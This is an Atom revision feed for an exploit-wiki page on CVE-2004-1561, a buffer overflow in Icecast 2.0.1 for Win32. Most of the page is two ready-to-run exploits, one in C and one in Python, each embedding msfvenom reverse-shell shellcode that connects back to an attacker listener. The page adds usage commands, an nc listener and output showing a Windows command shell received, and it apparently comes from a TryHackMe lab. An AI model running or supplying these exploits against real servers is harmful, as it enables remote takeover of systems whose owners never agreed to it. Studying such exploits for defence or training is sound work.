<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2004-1561_Icecast_2.0.1%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2004-1561 Icecast 2.0.1任意代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2004-1561_Icecast_2.0.1%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2004-1561_Icecast_2.0.1%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-12T08:02:40Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2004-1561_Icecast_2.0.1%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=808&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==INFO== &lt;pre&gt; # CVE-2004-1561 Icecast Header Overwrite buffer overflow RCE &lt; 2.0.1 (Win32)  Python 3 Icecast Header Overwrite buffer overflow RCE &lt; 2.0.1 (Win32), rewritten f...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2004-1561_Icecast_2.0.1%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=808&amp;oldid=prev"/>
		<updated>2021-03-31T07:30:29Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==INFO== &amp;lt;pre&amp;gt; # CVE-2004-1561 Icecast Header Overwrite buffer overflow RCE &amp;lt; 2.0.1 (Win32)  Python 3 Icecast Header Overwrite buffer overflow RCE &amp;lt; 2.0.1 (Win32), rewritten f...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==INFO==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# CVE-2004-1561 Icecast Header Overwrite buffer overflow RCE &amp;lt; 2.0.1 (Win32)&lt;br /&gt;
&lt;br /&gt;
Python 3 Icecast Header Overwrite buffer overflow RCE &amp;lt; 2.0.1 (Win32), rewritten from this [Metasploit module](https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/http/icecast_header.rb). I rewrote this from the Metasploit module because I couldn't get [this](https://www.exploit-db.com/exploits/568) to work.&lt;br /&gt;
&lt;br /&gt;
## Usage:&lt;br /&gt;
Replace reverse shell shellcode in exploit, call it with argument for remote server and port.&lt;br /&gt;
&lt;br /&gt;
```&lt;br /&gt;
root@Kali:~/TryHackme/Ice# ./icecast.py 192.168.92.133 8000&lt;br /&gt;
&lt;br /&gt;
Done!&lt;br /&gt;
```&lt;br /&gt;
Reverse shell listener:&lt;br /&gt;
```&lt;br /&gt;
root@Kali:~/TryHackme/Ice# nc -nlvp 443&lt;br /&gt;
listening on [any] 443 ...&lt;br /&gt;
connect to [192.168.92.128] from (UNKNOWN) [192.168.92.133] 49211&lt;br /&gt;
Microsoft Windows [Version 6.1.7601]&lt;br /&gt;
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.&lt;br /&gt;
&lt;br /&gt;
C:\Program Files (x86)\Icecast2 Win32&amp;gt;&lt;br /&gt;
```&lt;br /&gt;
&lt;br /&gt;
## Update for 568-edit.c&lt;br /&gt;
Managed to get the [original exploit](https://www.exploit-db.com/exploits/568) to work. Edited according [to this](https://www.exploit-db.com/exploits/573).&lt;br /&gt;
&lt;br /&gt;
### Usage for 568-edit.c&lt;br /&gt;
```&lt;br /&gt;
root@Kali:~/TryHackme/Ice# gcc 568-edit.c -o 568&lt;br /&gt;
root@Kali:~/TryHackme/Ice# ./568 192.168.92.133&lt;br /&gt;
&lt;br /&gt;
Icecast &amp;lt;= 2.0.1 Win32 remote code execution 0.1&lt;br /&gt;
by Luigi Auriemma&lt;br /&gt;
e-mail: aluigi@altervista.org&lt;br /&gt;
web:http://aluigi.altervista.org&lt;br /&gt;
&lt;br /&gt;
shellcode add-on by Delikon&lt;br /&gt;
www.delikon.de&lt;br /&gt;
&lt;br /&gt;
- target 192.168.92.133:8000&lt;br /&gt;
- send malformed data&lt;br /&gt;
&lt;br /&gt;
Server IS vulnerable!!!&lt;br /&gt;
```&lt;br /&gt;
On listener&lt;br /&gt;
```&lt;br /&gt;
root@Kali:~# nc -nlvp 443&lt;br /&gt;
listening on [any] 443 ...&lt;br /&gt;
connect to [192.168.92.128] from (UNKNOWN) [192.168.92.133] 49238&lt;br /&gt;
Microsoft Windows [Version 6.1.7601]&lt;br /&gt;
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.&lt;br /&gt;
&lt;br /&gt;
C:\Program Files (x86)\Icecast2 Win32&amp;gt;&lt;br /&gt;
&lt;br /&gt;
```&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==568-edit.c==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/* &lt;br /&gt;
&lt;br /&gt;
Original exploit here: https://www.exploit-db.com/exploits/568&lt;br /&gt;
I couldn't get this to work so I edited it according to&lt;br /&gt;
https://www.exploit-db.com/exploits/573&lt;br /&gt;
&lt;br /&gt;
and made sure the shellcode was executed.&lt;br /&gt;
&lt;br /&gt;
Compile and run&lt;br /&gt;
root@Kali:~/TryHackme/Ice# gcc 568-edit.c -o 568&lt;br /&gt;
root@Kali:~/TryHackme/Ice# ./568 192.168.92.133&lt;br /&gt;
&lt;br /&gt;
Icecast &amp;lt;= 2.0.1 Win32 remote code execution 0.1&lt;br /&gt;
by Luigi Auriemma&lt;br /&gt;
e-mail: aluigi@altervista.org&lt;br /&gt;
web:http://aluigi.altervista.org&lt;br /&gt;
&lt;br /&gt;
shellcode add-on by Delikon&lt;br /&gt;
www.delikon.de&lt;br /&gt;
&lt;br /&gt;
- target 192.168.92.133:8000&lt;br /&gt;
- send malformed data&lt;br /&gt;
&lt;br /&gt;
Server IS vulnerable!!!&lt;br /&gt;
&lt;br /&gt;
On listener&lt;br /&gt;
root@Kali:~# nc -nlvp 443&lt;br /&gt;
listening on [any] 443 ...&lt;br /&gt;
connect to [192.168.92.128] from (UNKNOWN) [192.168.92.133] 49238&lt;br /&gt;
Microsoft Windows [Version 6.1.7601]&lt;br /&gt;
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.&lt;br /&gt;
&lt;br /&gt;
C:\Program Files (x86)\Icecast2 Win32&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*/ &lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt; &lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt; &lt;br /&gt;
#include &amp;lt;string.h&amp;gt; &lt;br /&gt;
&lt;br /&gt;
#ifdef WIN32 &lt;br /&gt;
#pragma comment(lib, &amp;quot;ws2_32.lib&amp;quot;) &lt;br /&gt;
    #include &amp;lt;winsock.h&amp;gt; &lt;br /&gt;
    #include &amp;quot;winerr.h&amp;quot; &lt;br /&gt;
&lt;br /&gt;
    #define close closesocket &lt;br /&gt;
#else &lt;br /&gt;
    #include &amp;lt;unistd.h&amp;gt; &lt;br /&gt;
    #include &amp;lt;sys/socket.h&amp;gt; &lt;br /&gt;
    #include &amp;lt;sys/types.h&amp;gt; &lt;br /&gt;
    #include &amp;lt;arpa/inet.h&amp;gt; &lt;br /&gt;
    #include &amp;lt;netdb.h&amp;gt; &lt;br /&gt;
    #include &amp;lt;netinet/in.h&amp;gt; &lt;br /&gt;
#endif &lt;br /&gt;
&lt;br /&gt;
#define VER &amp;quot;0.1&amp;quot; &lt;br /&gt;
#define PORT 8000 &lt;br /&gt;
#define BUFFSZ 2048 &lt;br /&gt;
#define TIMEOUT 3 &lt;br /&gt;
#define EXEC    &amp;quot;GET / HTTP/1.0\r\n&amp;quot; \&lt;br /&gt;
                &amp;quot;a\r\n&amp;quot; &amp;quot;a\r\n&amp;quot; &amp;quot;a\r\n&amp;quot; &amp;quot;a\r\n&amp;quot; &amp;quot;a\r\n&amp;quot; &amp;quot;a\r\n&amp;quot; &amp;quot;a\r\n&amp;quot; &amp;quot;a\r\n&amp;quot; \&lt;br /&gt;
                &amp;quot;a\r\n&amp;quot; &amp;quot;a\r\n&amp;quot; &amp;quot;a\r\n&amp;quot; &amp;quot;a\r\n&amp;quot; &amp;quot;a\r\n&amp;quot; &amp;quot;a\r\n&amp;quot; &amp;quot;a\r\n&amp;quot; &amp;quot;a\r\n&amp;quot; \&lt;br /&gt;
                &amp;quot;a\r\n&amp;quot; &amp;quot;a\r\n&amp;quot; &amp;quot;a\r\n&amp;quot; &amp;quot;a\r\n&amp;quot; &amp;quot;a\r\n&amp;quot; &amp;quot;a\r\n&amp;quot; &amp;quot;a\r\n&amp;quot; &amp;quot;a\r\n&amp;quot; \&lt;br /&gt;
                &amp;quot;a\r\n&amp;quot; &amp;quot;a\r\n&amp;quot; &amp;quot;a\r\n&amp;quot; &amp;quot;a\r\n&amp;quot; &amp;quot;a\r\n&amp;quot; &amp;quot;a\r\n&amp;quot; &amp;quot;a\r\n&amp;quot; \&lt;br /&gt;
                &amp;quot;\xcc&amp;quot; &lt;br /&gt;
&lt;br /&gt;
// msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=192.168.92.128 LPORT=443 -b '\x0a\x0d\x00' -f c&lt;br /&gt;
unsigned char shellcode[] =&lt;br /&gt;
&amp;quot;\xda\xc6\xd9\x74\x24\xf4\x5f\xb8\x1e\xf9\xbc\x15\x2b\xc9\xb1&amp;quot;&lt;br /&gt;
&amp;quot;\x52\x83\xef\xfc\x31\x47\x13\x03\x59\xea\x5e\xe0\x99\xe4\x1d&amp;quot;&lt;br /&gt;
&amp;quot;\x0b\x61\xf5\x41\x85\x84\xc4\x41\xf1\xcd\x77\x72\x71\x83\x7b&amp;quot;&lt;br /&gt;
&amp;quot;\xf9\xd7\x37\x0f\x8f\xff\x38\xb8\x3a\x26\x77\x39\x16\x1a\x16&amp;quot;&lt;br /&gt;
&amp;quot;\xb9\x65\x4f\xf8\x80\xa5\x82\xf9\xc5\xd8\x6f\xab\x9e\x97\xc2&amp;quot;&lt;br /&gt;
&amp;quot;\x5b\xaa\xe2\xde\xd0\xe0\xe3\x66\x05\xb0\x02\x46\x98\xca\x5c&amp;quot;&lt;br /&gt;
&amp;quot;\x48\x1b\x1e\xd5\xc1\x03\x43\xd0\x98\xb8\xb7\xae\x1a\x68\x86&amp;quot;&lt;br /&gt;
&amp;quot;\x4f\xb0\x55\x26\xa2\xc8\x92\x81\x5d\xbf\xea\xf1\xe0\xb8\x29&amp;quot;&lt;br /&gt;
&amp;quot;\x8b\x3e\x4c\xa9\x2b\xb4\xf6\x15\xcd\x19\x60\xde\xc1\xd6\xe6&amp;quot;&lt;br /&gt;
&amp;quot;\xb8\xc5\xe9\x2b\xb3\xf2\x62\xca\x13\x73\x30\xe9\xb7\xdf\xe2&amp;quot;&lt;br /&gt;
&amp;quot;\x90\xee\x85\x45\xac\xf0\x65\x39\x08\x7b\x8b\x2e\x21\x26\xc4&amp;quot;&lt;br /&gt;
&amp;quot;\x83\x08\xd8\x14\x8c\x1b\xab\x26\x13\xb0\x23\x0b\xdc\x1e\xb4&amp;quot;&lt;br /&gt;
&amp;quot;\x6c\xf7\xe7\x2a\x93\xf8\x17\x63\x50\xac\x47\x1b\x71\xcd\x03&amp;quot;&lt;br /&gt;
&amp;quot;\xdb\x7e\x18\x83\x8b\xd0\xf3\x64\x7b\x91\xa3\x0c\x91\x1e\x9b&amp;quot;&lt;br /&gt;
&amp;quot;\x2d\x9a\xf4\xb4\xc4\x61\x9f\x7a\xb0\x35\xdf\x13\xc3\xc5\xde&amp;quot;&lt;br /&gt;
&amp;quot;\x58\x4a\x23\x8a\x8e\x1b\xfc\x23\x36\x06\x76\xd5\xb7\x9c\xf3&amp;quot;&lt;br /&gt;
&amp;quot;\xd5\x3c\x13\x04\x9b\xb4\x5e\x16\x4c\x35\x15\x44\xdb\x4a\x83&amp;quot;&lt;br /&gt;
&amp;quot;\xe0\x87\xd9\x48\xf0\xce\xc1\xc6\xa7\x87\x34\x1f\x2d\x3a\x6e&amp;quot;&lt;br /&gt;
&amp;quot;\x89\x53\xc7\xf6\xf2\xd7\x1c\xcb\xfd\xd6\xd1\x77\xda\xc8\x2f&amp;quot;&lt;br /&gt;
&amp;quot;\x77\x66\xbc\xff\x2e\x30\x6a\x46\x99\xf2\xc4\x10\x76\x5d\x80&amp;quot;&lt;br /&gt;
&amp;quot;\xe5\xb4\x5e\xd6\xe9\x90\x28\x36\x5b\x4d\x6d\x49\x54\x19\x79&amp;quot;&lt;br /&gt;
&amp;quot;\x32\x88\xb9\x86\xe9\x08\xc9\xcc\xb3\x39\x42\x89\x26\x78\x0f&amp;quot;&lt;br /&gt;
&amp;quot;\x2a\x9d\xbf\x36\xa9\x17\x40\xcd\xb1\x52\x45\x89\x75\x8f\x37&amp;quot;&lt;br /&gt;
&amp;quot;\x82\x13\xaf\xe4\xa3\x31&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
/* &lt;br /&gt;
in my example 0xcc is used to interrupt the code execution, you must &lt;br /&gt;
put your shellcode exactly there. &lt;br /&gt;
You don't need to call a shellcode offset (CALL ESP, JMP ESP and so &lt;br /&gt;
on) or doing any other annoying operation because the code flow &lt;br /&gt;
points directly there!!! &lt;br /&gt;
Cool and easy 8-) &lt;br /&gt;
*/ &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
/*int startWinsock(void) &lt;br /&gt;
{ &lt;br /&gt;
  WSADATA wsa; &lt;br /&gt;
  return WSAStartup(MAKEWORD(2,0),&amp;amp;wsa); &lt;br /&gt;
} &lt;br /&gt;
*/&lt;br /&gt;
int timeout(int sock); &lt;br /&gt;
u_long resolv(char *host); &lt;br /&gt;
void std_err(void); &lt;br /&gt;
&lt;br /&gt;
int main(int argc, char *argv[]) { &lt;br /&gt;
    struct sockaddr_in peer; &lt;br /&gt;
    int sd; &lt;br /&gt;
    u_short port = PORT; &lt;br /&gt;
    u_char buff[BUFFSZ]; &lt;br /&gt;
    u_char buf[4096]; &lt;br /&gt;
    u_char *pointer=NULL; &lt;br /&gt;
&lt;br /&gt;
    setbuf(stdout, NULL); &lt;br /&gt;
&lt;br /&gt;
    fputs(&amp;quot;\n&amp;quot; &lt;br /&gt;
        &amp;quot;Icecast &amp;lt;= 2.0.1 Win32 remote code execution &amp;quot;VER&amp;quot;\n&amp;quot; &lt;br /&gt;
        &amp;quot;by Luigi Auriemma\n&amp;quot; &lt;br /&gt;
        &amp;quot;e-mail: aluigi@altervista.org\n&amp;quot; &lt;br /&gt;
        &amp;quot;web:http://aluigi.altervista.org\n&amp;quot; &lt;br /&gt;
  &amp;quot;\nshellcode add-on by Delikon\n&amp;quot; &lt;br /&gt;
  &amp;quot;www.delikon.de&amp;quot; &lt;br /&gt;
        &amp;quot;\n&amp;quot;, stdout); &lt;br /&gt;
&lt;br /&gt;
    if(argc &amp;lt; 2) { &lt;br /&gt;
        printf(&amp;quot;\nUsage: %s &amp;lt;server&amp;gt; [port(%d)]\n&amp;quot; &lt;br /&gt;
            &amp;quot;\n&amp;quot; &lt;br /&gt;
            &amp;quot;Note: This exploit will force the Icecast server to download NCAT\n&amp;quot; &lt;br /&gt;
            &amp;quot;and after execution it will spwan a shell on 9999\n&amp;quot; &lt;br /&gt;
            &amp;quot;\n&amp;quot;, argv[0], PORT); &lt;br /&gt;
        exit(1); &lt;br /&gt;
    } &lt;br /&gt;
&lt;br /&gt;
#ifdef WIN32&lt;br /&gt;
    WSADATA    wsadata;&lt;br /&gt;
    WSAStartup(MAKEWORD(1,0), &amp;amp;wsadata);&lt;br /&gt;
#endif&lt;br /&gt;
&lt;br /&gt;
    if(argc &amp;gt; 2) port = atoi(argv[2]); &lt;br /&gt;
&lt;br /&gt;
    peer.sin_addr.s_addr = resolv(argv[1]); &lt;br /&gt;
    peer.sin_port= htons(port); &lt;br /&gt;
    peer.sin_family= AF_INET; &lt;br /&gt;
&lt;br /&gt;
    memset(buf,0x00,sizeof(buf)); &lt;br /&gt;
    strcpy(buf,EXEC); &lt;br /&gt;
    &lt;br /&gt;
pointer =strrchr(buf,0xcc); &lt;br /&gt;
&lt;br /&gt;
strcpy(pointer,shellcode); &lt;br /&gt;
&lt;br /&gt;
strcat(buf,&amp;quot;\r\n&amp;quot;); &lt;br /&gt;
strcat(buf,&amp;quot;\r\n&amp;quot;); &lt;br /&gt;
    &lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;\n- target %s:%hu\n&amp;quot;, &lt;br /&gt;
        inet_ntoa(peer.sin_addr), port); &lt;br /&gt;
&lt;br /&gt;
    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); &lt;br /&gt;
    if(sd &amp;lt; 0) std_err(); &lt;br /&gt;
&lt;br /&gt;
    if(connect(sd, (struct sockaddr *)&amp;amp;peer, sizeof(peer)) &lt;br /&gt;
      &amp;lt; 0) std_err(); &lt;br /&gt;
&lt;br /&gt;
    fputs(&amp;quot;- send malformed data\n&amp;quot;, stdout); &lt;br /&gt;
    if(send(sd, buf, strlen(buf), 0) &lt;br /&gt;
      &amp;lt; 0) std_err(); &lt;br /&gt;
&lt;br /&gt;
    if((timeout(sd) &amp;lt; 0) || (recv(sd, buff, BUFFSZ, 0) &amp;lt; 0)) { &lt;br /&gt;
        fputs(&amp;quot;\nServer IS vulnerable!!!\n\n&amp;quot;, stdout); &lt;br /&gt;
    } else { &lt;br /&gt;
        fputs(&amp;quot;\nServer doesn't seem vulnerable\n\n&amp;quot;, stdout); &lt;br /&gt;
    } &lt;br /&gt;
&lt;br /&gt;
    close(sd); &lt;br /&gt;
    return(0); &lt;br /&gt;
} &lt;br /&gt;
&lt;br /&gt;
int timeout(int sock) { &lt;br /&gt;
    struct timeval tout; &lt;br /&gt;
    fd_set fd_read; &lt;br /&gt;
    int err; &lt;br /&gt;
&lt;br /&gt;
    tout.tv_sec = TIMEOUT; &lt;br /&gt;
    tout.tv_usec = 0; &lt;br /&gt;
    FD_ZERO(&amp;amp;fd_read); &lt;br /&gt;
    FD_SET(sock, &amp;amp;fd_read); &lt;br /&gt;
    err = select(sock + 1, &amp;amp;fd_read, NULL, NULL, &amp;amp;tout); &lt;br /&gt;
    if(err &amp;lt; 0) std_err(); &lt;br /&gt;
    if(!err) return(-1); &lt;br /&gt;
    return(0); &lt;br /&gt;
} &lt;br /&gt;
&lt;br /&gt;
u_long resolv(char *host) { &lt;br /&gt;
    struct hostent *hp; &lt;br /&gt;
    u_long host_ip; &lt;br /&gt;
&lt;br /&gt;
    host_ip = inet_addr(host); &lt;br /&gt;
    if(host_ip == INADDR_NONE) { &lt;br /&gt;
        hp = gethostbyname(host); &lt;br /&gt;
        if(!hp) { &lt;br /&gt;
            printf(&amp;quot;\nError: Unable to resolve hostname (%s)\n&amp;quot;, host); &lt;br /&gt;
            exit(1); &lt;br /&gt;
        } else host_ip = *(u_long *)(hp-&amp;gt;h_addr); &lt;br /&gt;
    } &lt;br /&gt;
    return(host_ip); &lt;br /&gt;
} &lt;br /&gt;
&lt;br /&gt;
#ifndef WIN32 &lt;br /&gt;
    void std_err(void) { &lt;br /&gt;
        exit(1); &lt;br /&gt;
    } &lt;br /&gt;
#endif &lt;br /&gt;
&lt;br /&gt;
// milw0rm.com [2004-10-06]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==icecast.py==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
##############################################################################################&lt;br /&gt;
# How to use:&lt;br /&gt;
# 1. Replace 'buf' shellcode below with msfvenom shellcode&lt;br /&gt;
# 2. Call it like this: ./icecast.py &amp;lt;target&amp;gt; &amp;lt;port&amp;gt;&lt;br /&gt;
# Eg. root@Kali:~# ./icecast.py 192.168.92.133 8000&lt;br /&gt;
##############################################################################################&lt;br /&gt;
import socket&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
host = sys.argv[1] # Receive IP from user&lt;br /&gt;
port = int(sys.argv[2]) # Receive Port from user&lt;br /&gt;
&lt;br /&gt;
# Replace with own shellcode here&lt;br /&gt;
# msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=192.168.92.128 LPORT=443 -f python -b '\x00\x0a\x0d'&lt;br /&gt;
&lt;br /&gt;
buf =  &amp;quot;&amp;quot;&lt;br /&gt;
buf += &amp;quot;\xd9\xc5\xd9\x74\x24\xf4\xba\xc4\x81\xbb\x95\x5e\x31&amp;quot;&lt;br /&gt;
buf += &amp;quot;\xc9\xb1\x52\x31\x56\x17\x03\x56\x17\x83\x2a\x7d\x59&amp;quot;&lt;br /&gt;
buf += &amp;quot;\x60\x4e\x96\x1c\x8b\xae\x67\x41\x05\x4b\x56\x41\x71&amp;quot;&lt;br /&gt;
buf += &amp;quot;\x18\xc9\x71\xf1\x4c\xe6\xfa\x57\x64\x7d\x8e\x7f\x8b&amp;quot;&lt;br /&gt;
buf += &amp;quot;\x36\x25\xa6\xa2\xc7\x16\x9a\xa5\x4b\x65\xcf\x05\x75&amp;quot;&lt;br /&gt;
buf += &amp;quot;\xa6\x02\x44\xb2\xdb\xef\x14\x6b\x97\x42\x88\x18\xed&amp;quot;&lt;br /&gt;
buf += &amp;quot;\x5e\x23\x52\xe3\xe6\xd0\x23\x02\xc6\x47\x3f\x5d\xc8&amp;quot;&lt;br /&gt;
buf += &amp;quot;\x66\xec\xd5\x41\x70\xf1\xd0\x18\x0b\xc1\xaf\x9a\xdd&amp;quot;&lt;br /&gt;
buf += &amp;quot;\x1b\x4f\x30\x20\x94\xa2\x48\x65\x13\x5d\x3f\x9f\x67&amp;quot;&lt;br /&gt;
buf += &amp;quot;\xe0\x38\x64\x15\x3e\xcc\x7e\xbd\xb5\x76\x5a\x3f\x19&amp;quot;&lt;br /&gt;
buf += &amp;quot;\xe0\x29\x33\xd6\x66\x75\x50\xe9\xab\x0e\x6c\x62\x4a&amp;quot;&lt;br /&gt;
buf += &amp;quot;\xc0\xe4\x30\x69\xc4\xad\xe3\x10\x5d\x08\x45\x2c\xbd&amp;quot;&lt;br /&gt;
buf += &amp;quot;\xf3\x3a\x88\xb6\x1e\x2e\xa1\x95\x76\x83\x88\x25\x87&amp;quot;&lt;br /&gt;
buf += &amp;quot;\x8b\x9b\x56\xb5\x14\x30\xf0\xf5\xdd\x9e\x07\xf9\xf7&amp;quot;&lt;br /&gt;
buf += &amp;quot;\x67\x97\x04\xf8\x97\xbe\xc2\xac\xc7\xa8\xe3\xcc\x83&amp;quot;&lt;br /&gt;
buf += &amp;quot;\x28\x0b\x19\x03\x78\xa3\xf2\xe4\x28\x03\xa3\x8c\x22&amp;quot;&lt;br /&gt;
buf += &amp;quot;\x8c\x9c\xad\x4d\x46\xb5\x44\xb4\x01\x7a\x30\xea\x51&amp;quot;&lt;br /&gt;
buf += &amp;quot;\x12\x43\x12\x53\x58\xca\xf4\x39\x8e\x9b\xaf\xd5\x37&amp;quot;&lt;br /&gt;
buf += &amp;quot;\x86\x3b\x47\xb7\x1c\x46\x47\x33\x93\xb7\x06\xb4\xde&amp;quot;&lt;br /&gt;
buf += &amp;quot;\xab\xff\x34\x95\x91\x56\x4a\x03\xbd\x35\xd9\xc8\x3d&amp;quot;&lt;br /&gt;
buf += &amp;quot;\x33\xc2\x46\x6a\x14\x34\x9f\xfe\x88\x6f\x09\x1c\x51&amp;quot;&lt;br /&gt;
buf += &amp;quot;\xe9\x72\xa4\x8e\xca\x7d\x25\x42\x76\x5a\x35\x9a\x77&amp;quot;&lt;br /&gt;
buf += &amp;quot;\xe6\x61\x72\x2e\xb0\xdf\x34\x98\x72\x89\xee\x77\xdd&amp;quot;&lt;br /&gt;
buf += &amp;quot;\x5d\x76\xb4\xde\x1b\x77\x91\xa8\xc3\xc6\x4c\xed\xfc&amp;quot;&lt;br /&gt;
buf += &amp;quot;\xe7\x18\xf9\x85\x15\xb9\x06\x5c\x9e\xc9\x4c\xfc\xb7&amp;quot;&lt;br /&gt;
buf += &amp;quot;\x41\x09\x95\x85\x0f\xaa\x40\xc9\x29\x29\x60\xb2\xcd&amp;quot;&lt;br /&gt;
buf += &amp;quot;\x31\x01\xb7\x8a\xf5\xfa\xc5\x83\x93\xfc\x7a\xa3\xb1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
evul = &amp;quot;\xeb\x0c&amp;quot; + &amp;quot; / HTTP/1.1 &amp;quot; + buf + &amp;quot;\r\n&amp;quot; + &amp;quot;Accept: text/html\r\n&amp;quot;*31&lt;br /&gt;
evul += &amp;quot;\xff\x64\x24\x04&amp;quot; + &amp;quot;\r\n\r\n&amp;quot;  # jmp [esp+4] &lt;br /&gt;
&lt;br /&gt;
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)	# Declare a TCP socket&lt;br /&gt;
client.connect((host,port))                               #Connect to TCP socket&lt;br /&gt;
client.sendall(evul.encode('latin-1'))	                                # Send buffer overflow&lt;br /&gt;
client.close()&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;\nDone!&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>